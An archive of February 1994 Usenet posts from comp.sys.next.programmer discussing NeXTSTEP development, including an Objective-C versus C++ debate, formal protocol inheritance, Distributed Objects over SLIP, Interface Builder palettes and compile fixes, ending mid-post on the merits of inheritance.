From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 10 Feb 1994 20:39:07 -0000 Organization: me organized? That's a joke! Message-ID: <2je61b$67u@steffi.demon.co.uk> References: <t9%@byu.edu> <1994Feb9.235943.1578@gamelan.uucp> thf@zelator.de (Thomas Funke) wrote in comp.sys.next.programmer >In article <t9%@byu.edu> writes: > >> simple: ObjC has features I would never want to give up, they are >> that important. C++ has features that ObjC lacks that are nice >> even if the syntax is messy. > >It's true that a lot of C++'s syntax is messy. But on the other hand, you >can write things like > > String s ("\n"); > > s = "Hello " + "world" + s; Yes this is nice but I especially like how C++ blends in with C. If you define the a operator char *; you can doing things like. strlen(s); etc etc. I like this facility in C++. It's all syntactic sugar in the end though. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.lang.objective-c,comp.sys.next.programmer Subject: Re: Subclass conforming to protocol Date: 10 Feb 1994 20:58:17 -0000 Organization: me organized? That's a joke! Message-ID: <2je759$69m@steffi.demon.co.uk> References: <2je3dr$jtd@zip.eecs.umich.edu> Keywords: Subclass formal protocol stepan@gomidas.mi.org (Stepan Stepanian) wrote in comp.lang.objective-c,comp.sys.next.programmer >Suppose object SubA is subclass of an object A and inherits its method >"someMethod". Suppose also that the same method is included in ><SomeFormalProtocol> to which the object SubA conforms. > >Because SubA inherits "someMethod", one would think it should satisfy ><SomeFormalProtocol> requirements. In reality, the compiler complains >that "someMethod" is not defined for SubA, so the SubA "...does not fully >implement the <SomeFormalProtocol>". > >Is there any way to avoid having to explicitly define the method in cases >like this? > >S.Stepanian Protocol conformance is based on Similarity not Type. In the context of @conformsTo: similarity and Type are disjoint. (Exception below) Conformance to a protocol is by means of type independence. By definition your example has a dependency on class A. Furthermore from MoreObjc.rtfd (One of the most useful pieces of documentation on the platform) A class is said to adopt a formal protocol if it agrees to implement the methods the protocol declares. Here "implementation" excludes inheritance, with one exception. If your superclass conforms to the protocol then that conformance will be inherited in the subclass. I agree that the documentation is rather vague on this point and somewhat misleading. A class is said to conform to a formal protocol if it adopts the protocol or inherits from a class that adopts it. An instance of a class is said to conform to the same set of protocols its class conforms to. That does hint at a proper definition. Since a class must implement all the methods declared in the protocols it adopts, and those methods are inherited by its subclasses, saying that a class or an instance conforms to a protocol is tantamount to saying that it <has in its repertoire> all the methods that the protocol declares. "has in its repertoire" is too general. Now please tell me I'm wrong about this, but if you think about it it makes sense to do it this way. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: schultrj@NeXTwork.Rose-Hulman.Edu Newsgroups: comp.sys.next.programmer Subject: Launching Terminal from another application Date: 11 Feb 1994 01:05:57 GMT Organization: Rose-Hulman Institute of Technology Distribution: world Message-ID: <2jelll$68n@master.cs.rose-hulman.edu> What is the easiest/best way to launch Terminal from within another application and have it execute a command (i.e. `talk somebody@somewhere`)? I'm looking for the same type of functionality as in Gopher (for NeXT). Thanks, Rick
From: david.geary@mccaw.com (David Geary) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 11 Feb 1994 00:56:01 GMT Organization: McCaw Cellular Communications, Inc. Distribution: usa Message-ID: <2jel31$m1r@ftp-p.mccaw.com> References: <2j2jvt$112@steffi.demon.co.uk> Robert Nicholson writes # davis@ee.rochester.edu wrote in comp.sys.next.programmer # #It seems that most people here think C++ sucks and won't say why. You seem to # #imply that Objective-C is better but won't say why. # # #Somehow I don't see the [object message:arguments ...] syntax as progress. # # So you like either # # object.memberfunc() # # or # # object-#memberfunc() # # depending on wether an object is statically or dynamically allocated. # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Anyone who makes a statement like that has no business comparing C++ to anything. -- // David Geary Seattle: America's most Attractive City ... // david.geary@mccaw.com ... to the _Jetstream_ // NeXTMail OK
Newsgroups: comp.sys.next.programmer From: scott@parsec.mixcom.com (Scott Violet) Subject: Operation not supported on a socket Message-ID: <1994Feb10.215742.2070@parsec.mixcom.com> Summary: Error in PB Keywords: error, PB, socket Organization: SmartSoft Distribution: usa Date: Thu, 10 Feb 1994 21:57:42 GMT Hi all, We seem to repeatedly get the error, 'operation not supported on a socket', when compiling using PB. Performing a make clean, and then rebuilding rectifies the problem, but for large apps this can take quite some time. I'm wondering if anyone else out there has experienced this problem and knows how to fix it. Thanks, -Scott Violet (scott@SmartSoft.com)
From: matthewm@sgate.com (Mike Matthews) Newsgroups: comp.sys.next.programmer Subject: Clearing Pasteboard? Date: 10 Feb 1994 15:09:41 -0500 Organization: Collins International Services Company Message-ID: <2je4a5$hg4@sgate.com> Is there any way for an application to programatically wipe up the contents of the PasteBoard? Specifically, an application will spawn a process which can write information to the pasteboard, but once that child quits, any data that was pasted to the pasteboard should be erased. We do not have source control over the child process. Is this possible? Please reply by Email, thanks. ------ Mike Matthews, Mike_Matthews@sgate.com (NeXTmail accepted) ------ One thing the inventors can't seem to get the bugs out of is fresh paint.
From: 0005508785@mcimail.com (ErgoTech Development, Inc.) Newsgroups: comp.sys.next.programmer Subject: problems with saveRTFDTo:... Date: 11 Feb 1994 01:13:26 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <15940211044651/0005508785NA2EM@mcimail.com> Are there any gotcha's with the Text method -saveRTFD:removeBackup:errorHandler When I execute the following I end up with a flat file, not a directory, and the next logo where the graphic should be. If I look at the window (I usually leave it hidden), or print the text object I see the whole thing, with graphics. The file is still hosed. The NXData has been stored in a database hence the awkward approach. Any help much appreciated, I'm out of ideas. Jim Redman -writeToDisk:(NXData *)newDesc { char *filename = "/tmp/something.rtfd"; if ( newDesc != nil ) { NXStream *dataStream = NXOpenMemory( [newDesc data], [newDesc size], NX_READONLY); [descriptionText readRTFDFrom:dataStream]; // put the data in the Text NXCloseMemory ( dataStream, NX_SAVEBUFFER ); // if you put the next line in so that you can see the window // it looks fine. // [[descriptionText window] makeKeyAndOrderFront:self]; // YES and NO make no difference. The errorHandler is not consulted. [descriptionText saveRTFDTo:fileName removeBackup:NO errorHandler:self]; } return self; }
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 11 Feb 1994 10:51:21 -0000 Organization: me organized? That's a joke! Distribution: usa Message-ID: <2jfnv9$dm@steffi.demon.co.uk> References: <2j2jvt$112@steffi.demon.co.uk> <2jel31$m1r@ftp-p.mccaw.com> david.geary@mccaw.com (David Geary) wrote in comp.sys.next.programmer >Anyone who makes a statement like that has no business comparing C++ to >anything. > I think I see what your problem was. What I said is true however it's not the only place and only reason -> is used. I never said it was. . is used on objects or references -> is used on pointers to objects (in any pointer context) when you use new at runtime you return a pointer to an object. so to save run-time costs you almost always pass either references or pointers to objects to functions (when you don't want to lose type information), thats when you also use -> again. You can overload -> to perform differently on objects or references. Do you have a problem with this? I believe what I said was _one_ case where you would use ->. I believe I was right. I was trying to make the point that if OBJC allowed static allocation there still would be no difference in the syntax. ie. [receiver message] -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: Text as shell: How to control Pasteboard operations Message-ID: <CL0Mx8.8G@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <1994Feb9.134802.17952@sun0.urz.uni-heidelberg.de> Date: Thu, 10 Feb 1994 15:55:55 GMT Gregor Hoffleit writes > A week ago, I asked how I could make a Text object behave like > a shell, i.e. that you can edit only the last line. I received > some answers (thanks!) that all told me to use setCharFilter: or > setTextFilter: to implement my own filter. Well, that worked and > prevents keyboard entries before a certain position. > > But it doesn't prevent Cut/Copy/Paste operations in the protected > area, because they don't use the TextFilter function. The only > method I found to get notified of a Pasteboard operation is to > implement a textWillChange: method in the text delegate, but > this method is only called before the FIRST change in the text > after the text view became the windows's first responder. Have you tried implementing -cut:, -copy:, -paste:, -delete:, etc...? The edit menu items are aimed at those actions in FirstResponder. As long as your Text object is first responder, it should receive those (you may need to implement them in a subclass of Text (or, so as not to lose IB inspectors, implement the methods as a subclass, and send that subclass a -poseAs:Text in -appDidInit:). That should give you the control you need over the cut/copy/paste operations. b.bum -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
From: wolfgang@wi.WHU-Koblenz.de (Wolfgang Roeckelein) Newsgroups: comp.sys.next.programmer Subject: Re: other DBKit adaptors? Date: 11 Feb 1994 11:59:24 GMT Organization: WHU Koblenz Distribution: world Message-ID: <2jfrus$4sk@obelix.WHU-Koblenz.de> References: <2jehkb$alp@news.doit.wisc.edu> In article <2jehkb$alp@news.doit.wisc.edu> koehrsen@students.wisc.edu (Michael Koehrsen) writes: > > I'd like to acquaint myself with the DBKit, but I don't have access to an > Oracle or Sybase engine. I know there are a handful of free (if > experimental) relational database engines floating around--has anyone > written an adaptor for any of them? Check out doc # 1359 from NeXTanswers -- Dipl.-Wirtsch.-Inf. Voice: +49 261 6509 173 Wolfgang Roeckelein Fax: +49 261 6509 179 WHU Koblenz E-Mail: roeckelein@wi.whu-koblenz.de Burgplatz 2 (NeXTmail ok) D-56179 Vallendar Germany
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 11 Feb 1994 11:59:30 -0000 Organization: me organized? That's a joke! Distribution: world Message-ID: <2jfrv2$ob@steffi.demon.co.uk> References: <2j2jvt$112@steffi.demon.co.uk> <2jel31$m1r@ftp-p.mccaw.com> david.geary@mccaw.com (David Geary) wrote in comp.sys.next.programmer >Anyone who makes a statement like that has no business comparing C++ to >anything. Furthermore, if you refute any of my claims then don't do the gutless thing and write some general ("safe") statement like that. Point out exactly where our differences in understanding lie. Otherwise your post serves no educational value whatsoever it merely gives you an avenue to express your ego. Life is all about committing yourself, wether you are wrong or right. I am prepared to suffer the consequences of any post because I might actually learn something from it. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 11 Feb 1994 12:01:26 -0000 Organization: me organized? That's a joke! Distribution: world Message-ID: <2jfs2m$pp@steffi.demon.co.uk> References: <2j2jvt$112@steffi.demon.co.uk> <2jel31$m1r@ftp-p.mccaw.com> <2jfnv9$dm@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) wrote in comp.sys.next.programmer (when you don't want to lose type >information), thats when you also use -> again. That should have said data ie. passing large objects to small objects loses data, thinking subclassing. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: joe@retina.anatomy.upenn.edu (Joe Panico) Newsgroups: comp.sys.next.programmer Subject: Palettizing a subclass of window? Date: 11 Feb 1994 13:14:38 GMT Organization: Dept. of Neuroscience, U. of Pennsylvania Distribution: world Message-ID: <2jg0bu$gb7@netnews.upenn.edu> Hi, I'm trying to put a type of attention panel in a custom palette. With IB in "Palette" mode, dragging a panel icon off the standard palette panel creates an instance a panel, but does not put a corresponding Icon in the custom palette panel. How does one get an Icon to appear in the custom pallete, that represents my custom object (any subclass of window) and creates an instance of the custom object when dragged off the custom palette-- in other words, behaves like the standard palettes. Any help appreciated (perhaps just point me towards the appropriate documentation). Thanks. Joe Panico joe@retina.anatomy.upenn.edu (no NeXTmail please)
Newsgroups: comp.sys.next.programmer From: woo@ornl.gov (John W. Wooten) Subject: Re: Anyone have 3COM Etherlink III (3C509) TP? Message-ID: <1994Feb11.143345.27264@ornl.gov> Sender: usenet@ornl.gov (News poster) Organization: Oak Ridge National Laboratory References: <2jc1ml$8je@nntp2.Stanford.EDU> Date: Fri, 11 Feb 1994 14:33:45 GMT In article <2jc1ml$8je@nntp2.Stanford.EDU> paulc@leland.stanford.edu (Paul Chong) writes: > Has anyone gotten the 3COM Etherlink III (3c509) twisted pair to work with > NS/I?? The compatibility list states that TP is NOT supported and requires > a Driver update, whatever that means. > > Thanks in advance! Please email. > > -Paul > paulc@leland.stanford.edu I've been fighting this, please let me know how and where to get the fix. - - - - - - - - - J. W. Wooten
From: michael@cogito.iaee.tuwien.ac.at Newsgroups: comp.sys.next.programmer Subject: NXBitmapImageRep initialisation? Date: 11 Feb 94 18:47:42 Organization: Technical University Vienna, Austria Message-ID: <michael.94Feb11184742@cogito.iaee.tuwien.ac.at> Mime-Version: 1.0 Content-Type: text/plain Keywords: NXBitmapImageRep High! I have to write a program in which I copy very often parts of an NXImage object to a NXBitmapImageRep, because I need to access those parts directly for image processing. Because this process is done very often, I want to preallocate the memory for the data plane. But then I still have to allocate the NXBitmapImageRep in the loop, because I think, that I cannot call the method initData: fromRect several times on the same object instance. Am I wrong with the last suspicion or is there another way to initialize an NXBitmapImageRep after the object was allocated and initiated? Examples: data = (unsigned char *)alloc(aSize); while() { aImage = [[NXBitmapImageRep alloc] initData: data fromRect: &aRect]; // my code for image processing aImage = [aImage free]; // <- I think this is a waste of time, there must be another way } Thanks in advance SM
Newsgroups: comp.sys.next.programmer From: montyz@il.us.swissbank.com (Montgomery Zukowski) Subject: ShapeTools: About to stab at version control... Message-ID: <1994Feb11.152610.6281@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Fri, 11 Feb 1994 15:26:10 GMT A while ago someone said they were working on a front end for ShapeTools on the NeXT. Did that ever happen? If not I'm about to do it. Unfortunately NeXT's makefiles don't get along with Shape so I won't be able to take advantage of the cool build driver (make replacement) that Shape uses. It still has cool version control features though. I want to know what files to place in a repository so I look at PB.proj. The PB.proj format is pretty obvious. I just be sure to archive every file in the FILESTABLE, APPICON, and DOCICONFILES macros, recursing as necessary into any SUBPROJECTS and reading that PB.proj. I also look for any files which aren't in . in *.lproj and archive them. And of course I handle any file wrappers specially. The question becomes "What do you have in your project that doesn't show up in PB but is important enough to be archived?" I'm thinking of things like class documentation and such. What would be a good way to specify that that goes with the project into the archive but doesn't go into the app wrapper when the project is built? Create a new suitcase in PB? The other question is "What is in PB.proj's FILESTABLE that I really don't want to archive?" Perhaps OTHER_LINKED? Once I know what to put in the archive it's easy enough to add a makefile target to save a version or to know if someone else has updated the archive and their new stuff should be extracted or let you extract a certain version of a project or file. That would be nice because then you don't have to leave PB to do your version management. Writing an app to do version browsing with the ShapeToolkit will be pretty trivial since the ability to do it on the command line is already there. ShapeTools The shape toolkit (ShapeTools) is a set of commands for change control, developed by Axel Mahler, Andreas Lampen and others at the Technical University of Berlin. It consists of a repository (the Attributed File System), version control programs, a build driver (compatible with make), release management system, and EMACS editor interface. ShapeTools 1.3 was released in late May 1992; it runs on many UNIX variants. ShapeTools is available from: site files gatekeeper.dec.com pub/plan/shape/shapeTools-1.3.tar.Z pub/plan/shape/shapeTools-1.4.tar.gz In addition, gatekeeper has a mail archive server; send a message to ftpmail@gatekeeper.dec.com whose body contains the single line "help". Later, Monty monty@its.com
From: ralf@reswi.en.open.de (Ralf E. Stranzenbach) Newsgroups: comp.sys.next.programmer Subject: Distributed Objects & SLIP Date: 11 Feb 1994 16:18:26 GMT Organization: News Server fuer en.open.de Message-ID: <RALF.94Feb11171827@jodokus.en.open.de> Hi, i've just connected two NeXTs using Transys' Dialup-IP software. This works fine BUT i can't connect to Distributed Objects on the other machine. If i try to connectToName:onHost: my client just freezes for some seconds. I don't know what i'm doing wrong. I can't run NeXTSTEP Apps on the other system (using NXHost) - they fail to connect my Workspace. Help, please - ralf -- Ralf E.Stranzenbach - (NeXT)-Mail: ralf@reswi.en.open.de Fido: Ralf_Stranzenbach 2:245/5800.12 (Voice)-Phone: +49 2302 / 68403 -- ... genus hominum compositum est ex corpore et anigma ... - sallust, bellum iugurthinium
Newsgroups: comp.sys.next.programmer From: sascha@anarch.do.open.de (Sascha Gresk) Subject: Re: Calendar Palette Required!!! Message-ID: <1994Feb11.193309.9817@anarch.ping.de> Sender: usenet@anarch.ping.de Organization: LogikFabrik/WiLa Dortmund References: <9402101542.AA03801@bot26> Date: Fri, 11 Feb 1994 19:33:09 GMT In article <9402101542.AA03801@bot26> u9006869@athmail1.causeway.qub.ac.uk (Darren Aitcheson) writes: > Yes folks, I know I should be able to do this myself, > but your help is required. Has anybody written a calendar > object (with buttons for selecting a date, etc.) which > can be dragged from the IB palette? > > It's for a final year project, so your help would > be greatly appreciated!!! > > Darren Aitcheson (u9006869@athmail1.causeway.qub.ac.uk) > Queen's University of Belfast > > (a *big* Ren & Stimpy fan) Contact: Jim Million uunet!wiltel!jmillion November 1992 Calendar.palette (v1.0) Calendar.palette is a 3.0 InterfaceBuilder View palette for the Control subclass Calendar. Calendar is a simple UI widget for presenting and selecting dates in a calendar form.
From: Roland Telfeyan <roland@gomidas.mi.org> Newsgroups: comp.sys.next.programmer Subject: Re: Distributed Objects & SLIP Date: 11 Feb 1994 20:10:31 GMT Organization: University of Michigan EECS Dept. Distribution: world Message-ID: <2jgonn$hs2@zip.eecs.umich.edu> References: <RALF.94Feb11171827@jodokus.en.open.de> I would also like to know what the trick is here. I have half a feeling that NS notices that the bandwidth is not high enough and thus won't make the connection. Is it so? Roland
Newsgroups: comp.sys.next.programmer,comp.lang.c++,comp.lang.objective-c From: jimad@microsoft.com (Jim Adcock) Subject: Re: Is Objective - C a dead language ? Message-ID: <CL0up6.45L@microsoft.com> Organization: Microsoft Corporation Date: Thu, 10 Feb 1994 18:43:53 GMT Distribution: usa References: <2i1bvu$12n@steffi.demon.co.uk> <CKIv4G.2KG@microsoft.com> <1994Feb4.144354.1426@wavehh.hanse.de> In article <1994Feb4.144354.1426@wavehh.hanse.de> cracauer@wavehh.hanse.de (Martin Cracauer) writes: >jimad@microsoft.com (Jim Adcock) writes: >[...] >>One shouldn't feel bad: Read HOPL I and II -- most new languages ^^^^ "History of Programming Languages" from ACM, I believe.
Newsgroups: comp.lang.objective-c,comp.sys.next.programmer From: fedor@csn.org (Adam Fedor) Subject: Re: Subclass conforming to protocol Message-ID: <CL2tx1.11L@Colorado.EDU> Keywords: Subclass formal protocol Sender: news@Colorado.EDU (USENET News System) Organization: University of Colorado, Boulder References: <2je3dr$jtd@zip.eecs.umich.edu> Date: Fri, 11 Feb 1994 20:22:12 GMT In article <2je3dr$jtd@zip.eecs.umich.edu> stepan@gomidas.mi.org (Stepan Stepanian) writes: >Because SubA inherits "someMethod", one would think it should satisfy ><SomeFormalProtocol> requirements. In reality, the compiler complains >that "someMethod" is not defined for SubA, so the SubA "...does not fully >implement the <SomeFormalProtocol>". > >Is there any way to avoid having to explicitly define the method in cases >like this? In gcc, at least, there is a compiler switch `-Wno-protocol', which will allow inherited methods. -- Adam Fedor. CU, Boulder | Fudd's Law of Opposition: Push something fedor@boulder.colorado.edu (W) | hard enough and it will fall over. adam@bastille.rmnug.org (H,NeXTMail)|
Message-ID: <-$&@byu.edu> Date: Fri, 11 Feb 94 14:22:39 MST From: yackd@texas.et.byu.edu (Don Yacktman) Newsgroups: comp.sys.next.programmer Distribution: world References: <RALF.94Feb11171827@jodokus.en.open.de> <2jgonn$hs2@zip.eecs.umich.edu> Organization: Brigham Young University, Provo UT USA Subject: Re: Distributed Objects & SLIP In article <2jgonn$hs2@zip.eecs.umich.edu>, Roland Telfeyan <roland@gomidas.mi.org> writes: >I would also like to know what the trick is here. I have half a feeling that >NS notices that the bandwidth is not high enough and thus won't make the >connection. Is it so? Who knows? I've seen the problem trying to connect to DO servers from BYU, though, and we've got a full blown net connection, too. I suspect that there is something deeper causing the trouble and would also like to know the answer. For example, I have a DO-based high score server for my games. It works great locally, but not over SLIP. And over the Internet, sometimes it works...I set up a server at BYU and some folks could connect while others couldn't and I was unable to find any sort of pattern as to why they could or couldn't connect... if I can't get it to work reliably over the Internet with DO, though, I'm going to switch over to some non-DO solution that _works_ rather than futz with it. So if anyone knows what the problem is, please post how to fix it! -- Don_Yacktman@byu.edu Nepotism is a relative thing. don@darth.byu.edu (My NeXT at home. Send me NeXTMail. Pleeeease.)
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: Palettizing a subclass of window? Message-ID: <1994Feb11.210922.3147@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <2jg0bu$gb7@netnews.upenn.edu> Date: Fri, 11 Feb 1994 21:09:22 GMT You need to associate a view (representing the panel) with your panel object in the finishInstantiate method of your palette code: [self associateObject:panelObject type:IBWindowPboardType with:panelView] Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <2jg0bu$gb7@netnews.upenn.edu> joe@retina.anatomy.upenn.edu (Joe Panico) writes: > > Hi, > > I'm trying to put a type of attention panel in a custom palette. > With IB in "Palette" mode, dragging a panel icon off the standard > palette panel creates an instance a panel, but does not put a > corresponding Icon in the custom palette panel. How does one > get an Icon to appear in the custom pallete, that represents > my custom object (any subclass of window) and creates an instance > of the custom object when dragged off the custom palette-- > in other words, behaves like the standard palettes. Any help > appreciated (perhaps just point me towards the appropriate > documentation). Thanks. > > Joe Panico > joe@retina.anatomy.upenn.edu > > (no NeXTmail please) >
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Calendar Palette Required!!! Date: 11 Feb 1994 21:03:56 -0000 Organization: me organized? That's a joke! Message-ID: <2jgrrs$3am@steffi.demon.co.uk> References: <9402101542.AA03801@bot26> <1994Feb11.193309.9817@anarch.ping.de> sascha@anarch.do.open.de (Sascha Gresk) wrote in comp.sys.next.programmer >Contact: Jim Million uunet!wiltel!jmillion November 1992 This is on many an archive site. Check for Calendar in archie. I've heard that Jim is difficult to reach. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer Subject: Re: Mathematica ftp site? Message-ID: <1994Feb11.184125.164522@embl-heidelberg.de> From: tuparev@EMBL-Heidelberg.DE (Georg Tuparev) Date: 11 Feb 94 18:41:25 +0100 References: <1699@apollo.edsr.eds.com> In article <1699@apollo.edsr.eds.com> writes: > Could someone please tell me what happened to the Mathematica ftp site > that used to be at mathsource.wri.com? When I tried to log in as anonymous, > nothing was visible. > > Thanks (in advance) for any help, > Brian Kodl Try fiji.wri.com and don't ask me why! It's a buggy VMS site. -- georg --
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.misc From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: Problems compiling macutil 2.0b1 on NS3.2 Message-ID: <1994Feb12.022808.4346@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <2jea72$63p@alf.uib.no> Date: Sat, 12 Feb 1994 02:28:08 GMT First, a disclaimer: I have no idea what "macutil" is and I have not tested nor examined the following code in detail. Now, about your compilation problem: The problem is that the compiler can't find the following DIR structure typedef declaration: /* * Definitions for library routines operating on directories. */ #if defined(_POSIX_SOURCE) || defined(_NEXT_SOURCE) typedef struct _dirdesc { int dd_fd; long dd_loc; long dd_size; /* SUN_VFS */ long dd_bbase; long dd_entno; long dd_bsize; char *dd_buf; /* SUN_VFS */ /* char dd_buf[DIRBLKSIZ]; SUN_VFS */ } DIR; #endif /* _POSIX_SOURCE || _NEXT_SOURCE */ so in order for the program to include this: Create a file in the source directory called "dirent.h" with the following contents: #include <sys/dir.h> #define dirent direct and in the Makefile, add -I. to the CFLAGS macro so the compiler will look in the current directory for additional header files. i.e. it will find the dirent.h file. Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <2jea72$63p@alf.uib.no> edmtl@alf.uib.no (Thor Legvold) writes: > Not being fluent in C, I have no idea how to get this to compile > cleanly (or at all). No smart answers like "type make"... ;-) > > Here is where it stopped: > > (cd fileio; make CF='-DBSD -DTYPES_H -DDIRENT_H -DNODOT -DLATIN1 -DNOMKDIR') > cc -O -DBSD -DTYPES_H -DDIRENT_H -DNODOT -DLATIN1 -DNOMKDIR -c wrfile.c > cc -O -DBSD -DTYPES_H -DDIRENT_H -DNODOT -DLATIN1 -DNOMKDIR -c rdfile.c > rdfile.c:641: undefined type, found `DIR' > *** Exit 1 > Stop. > *** Exit 1 > Stop. > > The function in question is this: > > static void enter_dir() > { > DIR *directory; > struct dirstruct *curentry; > FILE *fd; > int n, j, namlen; > int listsize, cursize; > char *filetable; > filelist *new_files; > > > I tried on a SunOS 4.1.3 system, and it reported no errors > (well, not here anyway :-) > > Please e-mail suggestions. > > Regards, > -- > Thor Legvold | This is the strangest life > NorNeXT User Group leader | I've ever known... > University of Bergen | - Jim Morrison, The Doors > Norway | edmtl@fiol.uib.no (NeXTmail)
From: marcel@cs.tu-berlin.de (Marcel Weiher) Newsgroups: comp.sys.next.programmer Subject: Re: Distributed Objects & SLIP Date: 12 Feb 1994 08:34:21 GMT Organization: Technical University of Berlin, Germany Message-ID: <2ji4ad$lq5@news.cs.tu-berlin.de> References: <RALF.94Feb11171827@jodokus.en.open.de> <2jgonn$hs2@zip.eecs.umich.edu> <-$&@byu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit yackd@texas.et.byu.edu (Don Yacktman) writes: [...] >over SLIP. And over the Internet, sometimes it works...I set up >a server at BYU and some folks could connect while others couldn't >and I was unable to find any sort of pattern as to why they could >or couldn't connect... if I can't get it to work reliably over the >Internet with DO, though, I'm going to switch over to some non-DO >solution that _works_ rather than futz with it. So if anyone knows >what the problem is, please post how to fix it! Hmm... have you looked at the timeouts? The default timeouts are around 15 seconds, which might not be enough for WANs. (It's almost certainly not enough to dynamically bring up a SLIP line). You can change the timeouts using various NXConnection methods. Marcel
From: jmack@skye.phys.ualberta.ca Newsgroups: comp.sys.next.programmer Subject: Re: Distributed Objects & SLIP Date: 12 Feb 1994 05:36:47 GMT Organization: Computer and Network Services, U of Alberta, Edmonton, Canada Message-ID: <2jhptf$gd0@quartz.ucs.ualberta.ca> References: <RALF.94Feb11171827@jodokus.en.open.de> In article <RALF.94Feb11171827@jodokus.en.open.de> ralf@reswi.en.open.de (Ralf E. Stranzenbach) writes: > Hi, > > i've just connected two NeXTs using Transys' Dialup-IP software. This > works fine BUT i can't connect to Distributed Objects on the other > machine. If i try to connectToName:onHost: my client just freezes for > some seconds. > > I don't know what i'm doing wrong. > > I can't run NeXTSTEP Apps on the other system (using NXHost) - they > fail to connect my Workspace. > > Help, please > - ralf Set up the call for rc.slip BEFORE nmserver, so that Mach IPC knows about slip0. (means: put r.slip in /etc/rc instead of /etc/rc.local, just above the call to /usr/etc/nmserver). Failing to do this means that IPC tries to do everything over the built in hardware interface, and nothing will ever go out on slip0. Additionally, if you have en0 up (from /etc/hostconfig) - whether intentionally or not, you'll have to make sure to delete the route entry that ifconfig generates automatically for this interface. On a remote slip-client, en0 is not needed, and get's in the way setting up the default route for slip0. - remove most of the configuration info from /etc/hostconfig, except the hostname If you MUST run en0, and also have it use the same IP address as slip0, then have a careful look at the routing table and remove the en0 path. Finally, to get full functionality out of slip, additions to the arp tables on the server are recommended (so that the slip-server acts as proxy for your remote slip-client - this allows you to route packets from anywhere on the internet to your machine). -- James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab Computing/Networking Phone : (403) 492-8226 Department of Physics email : jmack@phys.ualberta.ca University of Alberta uucp : uofaphys!jmack iskye!jmack Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: Is Objective - C a dead language ? Message-ID: <CL2tLM.qJ@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <1994Feb9.235943.1578@gamelan.uucp> Date: Fri, 11 Feb 1994 20:15:21 GMT Thomas Funke writes > In article <t9%@byu.edu> writes: > > > simple: ObjC has features I would never want to give up, they are > > that important. C++ has features that ObjC lacks that are nice > > even if the syntax is messy. > > It's true that a lot of C++'s syntax is messy. But on the other hand, you > can write things like > > String s ("\n"); > > s = "Hello " + "world" + s; > > Which is ugly with any ObjC-Classlibrary. And most of the NeXT hackers > still use strcpy() etc. for stuff like this. One of the reasons why many > NeXT-Apps still end with Segmentation fault. Core dumped. There is no need to use strcpy(), etc. I have been using Objective Technologies StringKit for quite some time and have eliminated almost all memory problems associated with string manipulation. id string = [OTString otisRetrieve]; // get a temporary instance [string sprintf:"Hello world\n"]; fprintf(stdout, "String was: %s", [string stringValue]; [string otisRelease]; b.bum -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
Newsgroups: comp.lang.objective-c,comp.sys.next.programmer From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Is inheritance a good idea? Message-ID: <1994Feb12.132341.12317@prim.demon.co.uk> Summary: No. : -) Organization: Primitive Software Ltd. Date: Sat, 12 Feb 1994 13:23:41 GMT It seems to me that creating a heirarchy of inheritance may not be such a good idea. In fact it may do more harm than good. Inheritance encourages sloppy programming. It's much harder to produce a general solution than a particular one. Inheritance encourages a quick-fix mentality, rather than improving the super class to make it more flexible. If you have n subclasses, each of which adds some functionality to the super class, it restricts the user to choose only one of those additional bits of functionality. The other n-1 bits have to be discarded. If that fucntionality had been placed in the super class or in separate classes, then perhaps more interesting combinations could be realized. Almost everything that is done by inheritance could be done instead using protocols and delegates. (Protocols are a brilliant addition to Obj-C. Who at NeXT 